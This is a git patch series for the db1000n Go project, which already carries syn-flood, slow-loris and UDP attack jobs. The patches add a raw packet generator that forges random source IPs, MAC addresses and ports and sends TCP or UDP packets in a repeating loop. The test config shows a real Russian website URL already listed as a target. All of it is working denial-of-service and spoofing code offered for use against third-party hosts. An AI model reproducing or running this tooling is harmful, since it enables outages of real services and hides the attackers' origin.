From bc6174dc672ad68221692a7f7dff14d7d5b0d33e Mon Sep 17 00:00:00 2001 From: bivashko-cyberhaven Date: Mon, 28 Feb 2022 18:06:15 +0200 Subject: [PATCH 1/5] Add more random generation functions --- main.go | 15 ++++-- packetgen/constants.go | 6 +++ packetgen/utils.go | 118 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 134 insertions(+), 5 deletions(-) create mode 100644 packetgen/constants.go create mode 100644 packetgen/utils.go diff --git a/main.go b/main.go index 330eac5d..04ced04f 100644 --- a/main.go +++ b/main.go @@ -23,6 +23,7 @@ import ( "github.com/Arriven/db1000n/logs" "github.com/Arriven/db1000n/metrics" + "github.com/Arriven/db1000n/packetgen" "github.com/Arriven/db1000n/slowloris" "github.com/Arriven/db1000n/synfloodraw" ) @@ -84,11 +85,15 @@ func parseByteTemplate(input []byte) []byte { func parseStringTemplate(input string) string { funcMap := template.FuncMap{ - "random_uuid": randomUUID, - "random_int_n": rand.Intn, - "random_int": rand.Int, - "base64_encode": base64.StdEncoding.EncodeToString, - "base64_decode": base64.StdEncoding.DecodeString, + "random_uuid": randomUUID, + "random_int_n": rand.Intn, + "random_int": rand.Int, + "random_payload": packetgen.RandomPayload, + "random_ip": packetgen.RandomIP, + "random_port": packetgen.RandomPort, + "random_mac_addr": packetgen.RandomMacAddr, + "base64_encode": base64.StdEncoding.EncodeToString, + "base64_decode": base64.StdEncoding.DecodeString, } // TODO: consider adding ability to populate custom data tmpl, err := template.New("test").Funcs(funcMap).Parse(input) diff --git a/packetgen/constants.go b/packetgen/constants.go new file mode 100644 index 00000000..beeba770 --- /dev/null +++ b/packetgen/constants.go @@ -0,0 +1,6 @@ +package packetgen + +const ( + ipRegex = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$" + dnsRegex = "^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$" +) diff --git a/packetgen/utils.go b/packetgen/utils.go new file mode 100644 index 00000000..7ed52255 --- /dev/null +++ b/packetgen/utils.go @@ -0,0 +1,118 @@ +package packetgen + +import ( + "context" + "fmt" + "log" + "math/rand" + "net" + "regexp" +) + +// RandomPayload returns a byte slice to spoof ip packets with random payload in specified length +func RandomPayload(length int) []byte { + payload := make([]byte, length) + rand.Read(payload) + return payload +} + +func RandomIP() string { + return fmt.Sprintf("%d.%d.%d.%d", rand.Intn(256), rand.Intn(256), + rand.Intn(256), rand.Intn(256)) +} + +func RandomPort() int { + const minPort = 1024 + const maxPort = 65535 + return rand.Intn(maxPort-minPort) + minPort +} + +func RandomMacAddr() []byte { + buf := make([]byte, 6) + rand.Read(buf) + return buf +} + +// getIps returns a string slice to spoof ip packets with dummy source ip addresses +func getIps() []string { + ips := make([]string, 0) + for i := 0; i < 20; i++ { + ips = append(ips, fmt.Sprintf("%d.%d.%d.%d", rand.Intn(256), rand.Intn(256), + rand.Intn(256), rand.Intn(256))) + } + + return ips +} + +// getPorts returns an int slice to spoof ip packets with dummy source ports +func getPorts() []int { + ports := make([]int, 0) + for i := 1024; i <= 65535; i++ { + ports = append(ports, i) + } + + return ports +} + +// getMacAddrs returns a byte slice to spoof ip packets with dummy MAC addresses +func getMacAddrs() [][]byte { + macAddrs := make([][]byte, 0) + for i := 0; i <= 50; i++ { + buf := make([]byte, 6) + _, err := rand.Read(buf) + if err != nil { + fmt.Println("error:", err) + continue + } + macAddrs = append(macAddrs, buf) + } + + return macAddrs +} + +// isDNS returns a boolean which indicates host parameter is a DNS record or not +func isDNS(host string) bool { + var ( + res bool + err error + ) + + if res, err = regexp.MatchString(dnsRegex, host); err != nil { + log.Fatalf("a fatal error occured while matching provided --host with DNS regex: %s", err.Error()) + } + + return res +} + +// isIP returns a boolean which indicates host parameter is an IP address or not +func isIP(host string) bool { + var ( + res bool + err error + ) + + if res, err = regexp.MatchString(ipRegex, host); err != nil { + log.Fatalf("a fatal error occured while matching provided --host with IP regex: %s", err.Error()) + } + + return res +} + +// resolveHost function gets a string and returns the ip address while deciding it is an ip address already or DNS record +func resolveHost(host string) (string, error) { + if !isIP(host) && isDNS(host) { + log.Printf("%s is a DNS record, making DNS lookup\n", host) + ipRecords, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", host) + if err != nil { + log.Printf("an error occured on dns lookup: %s\n", err.Error()) + return "", err + } + + log.Printf("dns lookup succeeded, found %s for %s\n", ipRecords[0].String(), host) + host = ipRecords[0].String() + } else { + log.Printf("%s is already an IP address, skipping DNS resolution\n", host) + } + + return host, nil +} From 46c8eb1e2abb9ee4c90f79653aea1add42d502ae Mon Sep 17 00:00:00 2001 From: bivashko-cyberhaven Date: Mon, 28 Feb 2022 18:35:36 +0200 Subject: [PATCH 2/5] Added packetgen logic --- packetgen/packetgen.go | 141 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 packetgen/packetgen.go diff --git a/packetgen/packetgen.go b/packetgen/packetgen.go new file mode 100644 index 00000000..542a92c6 --- /dev/null +++ b/packetgen/packetgen.go @@ -0,0 +1,141 @@ +package packetgen + +import ( + "net" + + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "golang.org/x/net/ipv4" +) + +type PacketConfig struct { + Ethernet EthernetPacketConfig + IP IPPacketConfig + TCP TCPPacketConfig + Payload []byte +} + +func SendPacket(c PacketConfig, destinationHost string, destinationPort int) (int, error) { + var ( + ipHeader *ipv4.Header + packetConn net.PacketConn + rawConn *ipv4.RawConn + err error + ) + tcpPacket := buildTcpPacket(c.TCP) + ipPacket := buildIpPacket(c.IP) + if err = tcpPacket.SetNetworkLayerForChecksum(ipPacket); err != nil { + return 0, err + } + + // Serialize. Note: we only serialize the TCP layer, because the + // socket we get with net.ListenPacket wraps our data in IPv4 packets + // already. We do still need the IP layer to compute checksums + // correctly, though. + ipHeaderBuf := gopacket.NewSerializeBuffer() + opts := gopacket.SerializeOptions{ + FixLengths: true, + ComputeChecksums: true, + } + + if err = ipPacket.SerializeTo(ipHeaderBuf, opts); err != nil { + return 0, err + } + + if ipHeader, err = ipv4.ParseHeader(ipHeaderBuf.Bytes()); err != nil { + return 0, err + } + + ethernetLayer := buildEthernetPacket(c.Ethernet) + tcpPayloadBuf := gopacket.NewSerializeBuffer() + pyl := gopacket.Payload(c.Payload) + + if err = gopacket.SerializeLayers(tcpPayloadBuf, opts, ethernetLayer, tcpPacket, pyl); err != nil { + return 0, err + } + + // XXX send packet + if packetConn, err = net.ListenPacket("ip4:tcp", "0.0.0.0"); err != nil { + return 0, err + } + + if rawConn, err = ipv4.NewRawConn(packetConn); err != nil { + return 0, err + } + + if err = rawConn.WriteTo(ipHeader, tcpPayloadBuf.Bytes(), nil); err != nil { + return 0, err + } + return len(c.Payload), nil +} + +type IPPacketConfig struct { + SrcIP string `json:"src_ip"` + DstIP string `json:"dst_ip"` +} + +// buildIpPacket generates a layers.IPv4 and returns it with source IP address and destination IP address +func buildIpPacket(c IPPacketConfig) *layers.IPv4 { + return &layers.IPv4{ + SrcIP: net.ParseIP(c.SrcIP).To4(), + DstIP: net.ParseIP(c.DstIP).To4(), + Version: 4, + Protocol: layers.IPProtocolTCP, + } +} + +type TCPFlagsConfig struct { + SYN bool + ACK bool + FIN bool + RST bool + PSH bool + URG bool + ECE bool + CWR bool + NS bool +} + +type TCPPacketConfig struct { + SrcPort int `json:"src_port"` + DstPort int `json:"dst_port"` + Seq uint32 + Ack uint32 + Window uint16 + Urgent uint16 + Flags TCPFlagsConfig +} + +// buildTcpPacket generates a layers.TCP and returns it with source port and destination port +func buildTcpPacket(c TCPPacketConfig) *layers.TCP { + return &layers.TCP{ + SrcPort: layers.TCPPort(c.SrcPort), + DstPort: layers.TCPPort(c.DstPort), + Window: c.Window, + Urgent: c.Urgent, + Seq: c.Seq, + Ack: c.Ack, + SYN: c.Flags.SYN, + ACK: c.Flags.ACK, + FIN: c.Flags.FIN, + RST: c.Flags.RST, + PSH: c.Flags.PSH, + URG: c.Flags.URG, + ECE: c.Flags.ECE, + CWR: c.Flags.CWR, + NS: c.Flags.NS, + } +} + +type EthernetPacketConfig struct { + SrcMAC []byte `json:"src_mac"` + DstMAC []byte `json:"dst_mac"` +} + +// buildEthernetPacket generates an layers.Ethernet and returns it with source MAC address and destination MAC address +func buildEthernetPacket(c EthernetPacketConfig) *layers.Ethernet { + return &layers.Ethernet{ + SrcMAC: net.HardwareAddr{c.SrcMAC[0], c.SrcMAC[1], c.SrcMAC[2], c.SrcMAC[3], c.SrcMAC[4], c.SrcMAC[5]}, + DstMAC: net.HardwareAddr{c.DstMAC[0], c.DstMAC[1], c.DstMAC[2], c.DstMAC[3], c.DstMAC[4], c.DstMAC[5]}, + } +} From f56234785659880bffb2a36a4525bbb11b471027 Mon Sep 17 00:00:00 2001 From: bivashko-cyberhaven Date: Mon, 28 Feb 2022 18:55:51 +0200 Subject: [PATCH 3/5] Added packetgen job --- main.go | 43 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/main.go b/main.go index 04ced04f..ac50ed86 100644 --- a/main.go +++ b/main.go @@ -15,6 +15,7 @@ import ( "net/http" "net/url" "os" + "strconv" "strings" "time" @@ -46,6 +47,7 @@ var jobs = map[string]job{ "udp": udpJob, "syn-flood": synFloodJob, "slow-loris": slowLoris, + "packetgen": packetgenJob, } // Config comment for linter @@ -312,6 +314,47 @@ func slowLoris(ctx context.Context, l *logs.Logger, args JobArgs) error { return slowloris.Start(l, jobConfig) } +func packetgenJob(ctx context.Context, l *logs.Logger, args JobArgs) error { + type packetgenJobConfig struct { + BasicJobConfig + Packet json.RawMessage + Host string + Port string + } + var jobConfig packetgenJobConfig + err := json.Unmarshal(args, &jobConfig) + if err != nil { + l.Error("error parsing json: %v", err) + return err + } + + host := parseStringTemplate(jobConfig.Host) + port, err := strconv.Atoi(parseStringTemplate(jobConfig.Port)) + if err != nil { + l.Error("error parsing port: %v", err) + return err + } + + trafficMonitor := metrics.Default.NewWriter(ctx, "traffic", uuid.New().String()) + + for jobConfig.Next(ctx) { + packetConfigBytes := parseByteTemplate(jobConfig.Packet) + var packetConfig packetgen.PacketConfig + err := json.Unmarshal(packetConfigBytes, &packetConfig) + if err != nil { + l.Error("error parsing json: %v", err) + return err + } + len, err := packetgen.SendPacket(packetConfig, host, port) + if err != nil { + l.Error("error sending packet: %v", err) + return err + } + trafficMonitor.Add(len) + } + return nil +} + func fetchConfig(configPath string) (*Config, error) { var configBytes []byte var err error From d35af104f3fc834e12b7842760dd04339c6a5a16 Mon Sep 17 00:00:00 2001 From: bivashko-cyberhaven Date: Mon, 28 Feb 2022 19:55:08 +0200 Subject: [PATCH 4/5] Fix packetgen (requires root to run) --- main.go | 1 + packetgen/packetgen.go | 23 ++++++++++++++++------- packetgen/utils.go | 5 +++-- testconfig.json | 22 ++++++++++++++++++++++ 4 files changed, 42 insertions(+), 9 deletions(-) diff --git a/main.go b/main.go index ac50ed86..b56ff6f5 100644 --- a/main.go +++ b/main.go @@ -96,6 +96,7 @@ func parseStringTemplate(input string) string { "random_mac_addr": packetgen.RandomMacAddr, "base64_encode": base64.StdEncoding.EncodeToString, "base64_decode": base64.StdEncoding.DecodeString, + "json_encode": json.Marshal, } // TODO: consider adding ability to populate custom data tmpl, err := template.New("test").Funcs(funcMap).Parse(input) diff --git a/packetgen/packetgen.go b/packetgen/packetgen.go index 542a92c6..7db18e8c 100644 --- a/packetgen/packetgen.go +++ b/packetgen/packetgen.go @@ -1,6 +1,7 @@ package packetgen import ( + "fmt" "net" "github.com/google/gopacket" @@ -12,7 +13,7 @@ type PacketConfig struct { Ethernet EthernetPacketConfig IP IPPacketConfig TCP TCPPacketConfig - Payload []byte + Payload string } func SendPacket(c PacketConfig, destinationHost string, destinationPort int) (int, error) { @@ -22,6 +23,11 @@ func SendPacket(c PacketConfig, destinationHost string, destinationPort int) (in rawConn *ipv4.RawConn err error ) + destinationHost, err = resolveHost(destinationHost) + if err != nil { + return 0, err + } + tcpPacket := buildTcpPacket(c.TCP) ipPacket := buildIpPacket(c.IP) if err = tcpPacket.SetNetworkLayerForChecksum(ipPacket); err != nil { @@ -56,6 +62,7 @@ func SendPacket(c PacketConfig, destinationHost string, destinationPort int) (in // XXX send packet if packetConn, err = net.ListenPacket("ip4:tcp", "0.0.0.0"); err != nil { + fmt.Println("wtf") return 0, err } @@ -97,8 +104,8 @@ type TCPFlagsConfig struct { } type TCPPacketConfig struct { - SrcPort int `json:"src_port"` - DstPort int `json:"dst_port"` + SrcPort int `json:"src_port,string"` + DstPort int `json:"dst_port,string"` Seq uint32 Ack uint32 Window uint16 @@ -128,14 +135,16 @@ func buildTcpPacket(c TCPPacketConfig) *layers.TCP { } type EthernetPacketConfig struct { - SrcMAC []byte `json:"src_mac"` - DstMAC []byte `json:"dst_mac"` + SrcMAC string `json:"src_mac"` + DstMAC string `json:"dst_mac"` } // buildEthernetPacket generates an layers.Ethernet and returns it with source MAC address and destination MAC address func buildEthernetPacket(c EthernetPacketConfig) *layers.Ethernet { + srcMac := net.HardwareAddr(c.SrcMAC) + dstMac := net.HardwareAddr(c.DstMAC) return &layers.Ethernet{ - SrcMAC: net.HardwareAddr{c.SrcMAC[0], c.SrcMAC[1], c.SrcMAC[2], c.SrcMAC[3], c.SrcMAC[4], c.SrcMAC[5]}, - DstMAC: net.HardwareAddr{c.DstMAC[0], c.DstMAC[1], c.DstMAC[2], c.DstMAC[3], c.DstMAC[4], c.DstMAC[5]}, + SrcMAC: net.HardwareAddr{srcMac[0], srcMac[1], srcMac[2], srcMac[3], srcMac[4], srcMac[5]}, + DstMAC: net.HardwareAddr{dstMac[0], dstMac[1], dstMac[2], dstMac[3], dstMac[4], dstMac[5]}, } } diff --git a/packetgen/utils.go b/packetgen/utils.go index 7ed52255..b7c4ce80 100644 --- a/packetgen/utils.go +++ b/packetgen/utils.go @@ -27,10 +27,11 @@ func RandomPort() int { return rand.Intn(maxPort-minPort) + minPort } -func RandomMacAddr() []byte { +func RandomMacAddr() net.HardwareAddr { buf := make([]byte, 6) rand.Read(buf) - return buf + var addr net.HardwareAddr = buf + return net.HardwareAddr(addr.String()) } // getIps returns a string slice to spoof ip packets with dummy source ip addresses diff --git a/testconfig.json b/testconfig.json index c9d6480e..9940e5bd 100644 --- a/testconfig.json +++ b/testconfig.json @@ -50,6 +50,28 @@ "args": { "path": "https://kapital-rus.ru/inc2/common/js/doo/modules/searchSite/u.php" } + }, + { + "type": "packetgen", + "args": { + "host": "{{ random_ip }}", + "port": "{{ random_port }}", + "packet": { + "payload": "test:blah", + "ethernet": { + "src_mac": "{{ random_mac_addr }}", + "dst_mac": "{{ random_mac_addr }}" + }, + "ip": { + "src_ip": "{{ random_ip }}", + "dst_ip": "{{ random_ip }}" + }, + "tcp": { + "src_port": "{{ random_port }}", + "dst_port": "{{ random_port }}" + } + } + } } ] } From ae417f51b2f7331d93d97972f917496c291e3ea2 Mon Sep 17 00:00:00 2001 From: bivashko-cyberhaven Date: Mon, 28 Feb 2022 20:09:37 +0200 Subject: [PATCH 5/5] Added udp support to packetget --- packetgen/packetgen.go | 61 +++++++++++++++++++++++++++++++----------- testconfig.json | 4 +++ 2 files changed, 50 insertions(+), 15 deletions(-) diff --git a/packetgen/packetgen.go b/packetgen/packetgen.go index 7db18e8c..e4c3efb4 100644 --- a/packetgen/packetgen.go +++ b/packetgen/packetgen.go @@ -1,7 +1,6 @@ package packetgen import ( - "fmt" "net" "github.com/google/gopacket" @@ -12,7 +11,8 @@ import ( type PacketConfig struct { Ethernet EthernetPacketConfig IP IPPacketConfig - TCP TCPPacketConfig + TCP *TCPPacketConfig + UDP *UDPPacketConfig Payload string } @@ -21,6 +21,8 @@ func SendPacket(c PacketConfig, destinationHost string, destinationPort int) (in ipHeader *ipv4.Header packetConn net.PacketConn rawConn *ipv4.RawConn + udpPacket *layers.UDP + tcpPacket *layers.TCP err error ) destinationHost, err = resolveHost(destinationHost) @@ -28,10 +30,17 @@ func SendPacket(c PacketConfig, destinationHost string, destinationPort int) (in return 0, err } - tcpPacket := buildTcpPacket(c.TCP) ipPacket := buildIpPacket(c.IP) - if err = tcpPacket.SetNetworkLayerForChecksum(ipPacket); err != nil { - return 0, err + if c.UDP != nil { + udpPacket = buildUdpPacket(*c.UDP) + if err = udpPacket.SetNetworkLayerForChecksum(ipPacket); err != nil { + return 0, err + } + } else if c.TCP != nil { + tcpPacket = buildTcpPacket(*c.TCP) + if err = tcpPacket.SetNetworkLayerForChecksum(ipPacket); err != nil { + return 0, err + } } // Serialize. Note: we only serialize the TCP layer, because the @@ -53,24 +62,34 @@ func SendPacket(c PacketConfig, destinationHost string, destinationPort int) (in } ethernetLayer := buildEthernetPacket(c.Ethernet) - tcpPayloadBuf := gopacket.NewSerializeBuffer() + payloadBuf := gopacket.NewSerializeBuffer() pyl := gopacket.Payload(c.Payload) - if err = gopacket.SerializeLayers(tcpPayloadBuf, opts, ethernetLayer, tcpPacket, pyl); err != nil { - return 0, err - } - - // XXX send packet - if packetConn, err = net.ListenPacket("ip4:tcp", "0.0.0.0"); err != nil { - fmt.Println("wtf") - return 0, err + if udpPacket != nil { + if err = gopacket.SerializeLayers(payloadBuf, opts, ethernetLayer, udpPacket, pyl); err != nil { + return 0, err + } + + // XXX send packet + if packetConn, err = net.ListenPacket("ip4:udp", "0.0.0.0"); err != nil { + return 0, err + } + } else if tcpPacket != nil { + if err = gopacket.SerializeLayers(payloadBuf, opts, ethernetLayer, tcpPacket, pyl); err != nil { + return 0, err + } + + // XXX send packet + if packetConn, err = net.ListenPacket("ip4:tcp", "0.0.0.0"); err != nil { + return 0, err + } } if rawConn, err = ipv4.NewRawConn(packetConn); err != nil { return 0, err } - if err = rawConn.WriteTo(ipHeader, tcpPayloadBuf.Bytes(), nil); err != nil { + if err = rawConn.WriteTo(ipHeader, payloadBuf.Bytes(), nil); err != nil { return 0, err } return len(c.Payload), nil @@ -91,6 +110,18 @@ func buildIpPacket(c IPPacketConfig) *layers.IPv4 { } } +type UDPPacketConfig struct { + SrcPort int `json:"src_port,string"` + DstPort int `json:"dst_port,string"` +} + +func buildUdpPacket(c UDPPacketConfig) *layers.UDP { + return &layers.UDP{ + SrcPort: layers.UDPPort(c.SrcPort), + DstPort: layers.UDPPort(c.DstPort), + } +} + type TCPFlagsConfig struct { SYN bool ACK bool diff --git a/testconfig.json b/testconfig.json index 9940e5bd..575f1351 100644 --- a/testconfig.json +++ b/testconfig.json @@ -69,6 +69,10 @@ "tcp": { "src_port": "{{ random_port }}", "dst_port": "{{ random_port }}" + }, + "udp": { + "src_port": "{{ random_port }}", + "dst_port": "{{ random_port }}" } } }